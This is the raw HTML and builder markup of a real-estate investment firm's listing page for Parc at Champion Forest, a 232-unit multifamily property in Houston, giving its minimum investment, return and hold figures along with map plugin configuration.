https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_aerials-12-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_aerials-12-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-12319\" \/><\/span>\n\t\t\t<\/div>\n\t\t\t<\/div>\n\t\t\t\t\n\t\t\t\t\n\t\t\t<\/div>\n\t\t\t\t\n\t\t\t\t\n\t\t\t<\/div><div class=\"et_pb_section et_pb_section_2 section-location-main-v2 et_section_regular\" >\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t<div class=\"et_pb_row et_pb_row_2 row-header\">\n\t\t\t\t<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_3  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_module et_pb_post_title et_pb_post_title_0 et_pb_bg_layout_light  et_pb_text_align_left\"   >\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_title_container\">\n\t\t\t\t\t<h1 class=\"entry-title\">Parc at Champion Forest<\/h1>\n\t\t\t\t<\/div>\n\t\t\t\t\n\t\t\t<\/div><div class=\"et_pb_module et_pb_text et_pb_text_1  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">Houston, Texas<\/div>\n\t\t\t<\/div>\n\t\t\t<\/div>\n\t\t\t\t\n\t\t\t\t\n\t\t\t<\/div><div class=\"et_pb_row et_pb_row_3 row-location-info et_pb_gutters1\">\n\t\t\t\t<div class=\"et_pb_column et_pb_column_1_6 et_pb_column_4  et_pb_css_mix_blend_mode_passthrough\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_module et_pb_text et_pb_text_2  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">Minimum<\/div>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_text et_pb_text_3  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">$50k <\/div>\n\t\t\t<\/div>\n\t\t\t<\/div><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_5  et_pb_css_mix_blend_mode_passthrough\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_module et_pb_text et_pb_text_4  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">Distributions <\/div>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_text et_pb_text_5  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">Monthly<\/div>\n\t\t\t<\/div>\n\t\t\t<\/div><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_6  et_pb_css_mix_blend_mode_passthrough\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_module et_pb_text et_pb_text_6  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">Annualized Returns<\/div>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_text et_pb_text_7  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">18.7%<\/div>\n\t\t\t<\/div>\n\t\t\t<\/div><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_7  et_pb_css_mix_blend_mode_passthrough\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_module et_pb_text et_pb_text_8  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">Target Hold<\/div>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_text et_pb_text_9  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">3 Years<\/div>\n\t\t\t<\/div>\n\t\t\t<\/div><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_8  et_pb_css_mix_blend_mode_passthrough\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_module et_pb_text et_pb_text_10  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">Property Type<\/div>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_text et_pb_text_11  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">Multifamily<\/div>\n\t\t\t<\/div>\n\t\t\t<\/div><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_9  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_module et_pb_text et_pb_text_12  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">Asset Class<\/div>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_text et_pb_text_13  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">Class B<\/div>\n\t\t\t<\/div>\n\t\t\t<\/div>\n\t\t\t\t\n\t\t\t\t\n\t\t\t<\/div><div class=\"et_pb_row et_pb_row_4 row-overview et_pb_gutters3\">\n\t\t\t\t<div class=\"et_pb_column et_pb_column_1_2 et_pb_column_10  et_pb_css_mix_blend_mode_passthrough\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_module et_pb_text et_pb_text_14  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">Overview<br \/>\nThe asset is a 232-unit, Class B multifamily value-add investment opportunity in fast-growing Northwest Houston, TX. Completed in 2000, this beautiful property was thoughtfully designed with stately architecture, quality floor plans and a serene landscape making it one of the most attractive communities in the area.<\/div>\n\t\t\t<\/div>\n\t\t\t<\/div><div class=\"et_pb_column et_pb_column_1_2 et_pb_column_11  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_module et_pb_text et_pb_text_15 invested-module  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">100% Invested<\/div>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_text et_pb_text_16 equity-module  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\">$8,650,000 Equity<\/div>\n\t\t\t<\/div>\n\t\t\t<\/div>\n\t\t\t\t\n\t\t\t\t\n\t\t\t<\/div>\n\t\t\t\t\n\t\t\t\t\n\t\t\t<\/div><div class=\"et_pb_section et_pb_section_3 section-location-map et_section_regular\" >\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t<div class=\"et_pb_row et_pb_row_5\">\n\t\t\t\t<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_12  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_module et_pb_text et_pb_text_17  et_pb_text_align_left et_pb_bg_layout_light\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_text_inner\"><div class=\"wpgmp_map_container wpgmp-map-7\" rel=\"map7\"><div class=\"wpgmp_map_parent\"><div class=\"wpgmp_map \" style=\"width:100%; height:450px;\" id=\"map7\" ><\/div><\/div><\/div><style> .wpgmp-map-7  .wpgmp_infowindow .fc-item-title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:700;font-size:16px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:5px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .wpgmp_locations{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .place_title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgb(0, 115, 170);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:underline solid rgb(0, 115, 170);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;}<\/style><script>jQuery(document).ready(function($) {var map7 = $(\"#map7\").maps({\"map_options\":{\"center_lat\":\"29.9931946\",\"center_lng\":\"-95.48439909999999\",\"zoom\":10,\"map_type_id\":\"ROADMAP\",\"center_by_nearest\":false,\"fit_bounds\":false,\"center_circle_fillcolor\":\"#8CAEF2\",\"center_circle_fillopacity\":\".5\",\"center_circle_strokecolor\":\"#8CAEF2\",\"center_circle_strokeopacity\":\".5\",\"show_center_circle\":false,\"show_center_marker\":false,\"center_marker_icon\":\"http:\/\/wes.webzz.pro\/wp-content\/plugins\/wp-google-map-gold\/assets\/images\/\/default_marker.png\",\"center_circle_strokeweight\":\"1\",\"draggable\":true,\"scroll_wheel\":\"true\",\"gesture\":\"auto\",\"marker_default_icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\",\"infowindow_setting\":\"<div class=\"fc-main\">n<div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div>n<div class=\"fc-item-featured_image\">{marker_image} <\/div>n<p>{marker_message}<\/p>n<address><b>Address : <\/b>{marker_address}<\/address>n<\/div>n\",\"infowindow_geotags_setting\":\"<div class=\"post_body\">n<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>n<div class=\"location-description\">n<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>n<table class=\"address\" \"=\"\">n<tbody>n<tr>n<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>n<td>{marker_address}<\/td>n<\/tr>n<\/tbody>n<\/table>n<div class=\"category\"><span>{post_categories}<\/span><\/div>n<\/div>n<\/div>n\",\"infowindow_skin\":{\"name\":\"default\",\"type\":\"infowindow\",\"sourcecode\":\"<div class=\"fc-main\"><div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div> <div class=\"fc-item-featured_image\">{marker_image} <\/div>{marker_message}<address><b>Address : <\/b>{marker_address}<\/address><\/div>\"},\"infowindow_post_skin\":{\"name\":\"default\",\"type\":\"post\",\"sourcecode\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>{post_categories}<\/span><\/div>rn<\/div>rn<\/div>\"},\"infowindow_drop_animation\":false,\"close_infowindow_on_map_click\":false,\"default_infowindow_open\":false,\"infowindow_open_event\":\"click\",\"infowindow_filter_only\":false,\"infowindow_click_change_zoom\":0,\"infowindow_click_change_center\":false,\"full_screen_control\":true,\"search_control\":true,\"zoom_control\":true,\"map_type_control\":true,\"street_view_control\":true,\"locateme_control\":false,\"mobile_specific\":false,\"zoom_mobile\":5,\"draggable_mobile\":true,\"scroll_wheel_mobile\":true,\"full_screen_control_position\":\"TOP_RIGHT\",\"search_control_position\":\"TOP_LEFT\",\"locateme_control_position\":\"TOP_LEFT\",\"zoom_control_position\":\"TOP_LEFT\",\"map_type_control_position\":\"TOP_RIGHT\",\"map_type_control_style\":\"HORIZONTAL_BAR\",\"street_view_control_position\":\"TOP_LEFT\",\"map_control\":false,\"screens\":{\"smartphones\":{\"map_zoom_level_mobile\":\"5\"},\"ipads\":{\"map_zoom_level_mobile\":\"5\"},\"large-screens\":{\"map_zoom_level_mobile\":\"5\"}},\"map_infowindow_customisations\":false,\"infowindow_width\":\"100%\",\"infowindow_border_color\":\"rgba(0, 0, 0, 0.0980392)\",\"infowindow_bg_color\":\"#fff\",\"show_infowindow_header\":false,\"min_zoom\":\"0\",\"max_zoom\":\"19\",\"zoom_level_after_search\":\"10\",\"url_filters\":false,\"doubleclickzoom\":false,\"bound_map_after_filter\":false,\"display_reset_button\":false,\"map_reset_button_text\":\"Reset\",\"height\":\"450\"},\"places\":[{\"source\":\"post\",\"title\":\"Parc at Champion Forest\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/parc-at-champion-forest\/\"><div class=\"fc-feature-img\"><img alt=\"Parc at Champion Forest\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion-Forest-1-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/parc-at-champion-forest\/\">Parc at Champion Forest<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"content\":\"\",\"address\":\"15330 Bammel North Houston Rd, Houston, TX 77014, USA\",\"location\":{\"lat\":\"29.9931946\",\"city\":\"Houston\",\"state\":\"Texas\",\"country\":\"United States\",\"lng\":\"-95.48439909999999\",\"redirect_custom_link\":\"\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/parc-at-champion-forest\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\" global_colors_info=\"{}\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion-Forest-1.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion-Forest-1\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_aerials-8.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_aerials-8\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_pool-8.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_pool-8\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc_Champion_Forest-poi-001_giirwx.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc_Champion_Forest-poi-001_giirwx\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc_Champion_Forest-poi-004_kptydb.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc_Champion_Forest-poi-004_kptydb\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_buildings-8.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_buildings-8\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_buildings-2.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_buildings-2\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_pool-1.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_pool-1\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_gym-7.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_gym-7\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_lounge-4.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_lounge-4\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_model-kitchen-1.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_model-kitchen-1\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_model-living-3.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_model-living-3\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_aerials-12.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_aerials-12\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.11.3\" _module_preset=\"default\" global_colors_info=\"{}\"]Houston, Texas[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" global_colors_info=\"{}\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.11.3\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]$50k [\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" global_colors_info=\"{}\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" global_colors_info=\"{}\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.11.3\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]18.7%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" global_colors_info=\"{}\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.11.3\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]<p>3 Years<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" global_colors_info=\"{}\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" global_colors_info=\"{}\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.11.3\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]Class B[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.11.3\" _module_preset=\"default\" global_colors_info=\"{}\"]<h3>Overview<\/h3>nThe asset is a 232-unit, Class B multifamily value-add investment opportunity in fast-growing Northwest Houston, TX. Completed in 2000, this beautiful property was thoughtfully designed with stately architecture, quality floor plans and a serene landscape making it one of the most attractive communities in the area.[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.11.3\" _module_preset=\"default\" global_colors_info=\"{}\"]$8,650,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\" global_colors_info=\"{}\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\" global_colors_info=\"{}\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Parc at Champion Forest\",\"post_link\":\"https:\/\/www.cpicapital.ca\/parc-at-champion-forest\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"Parc at 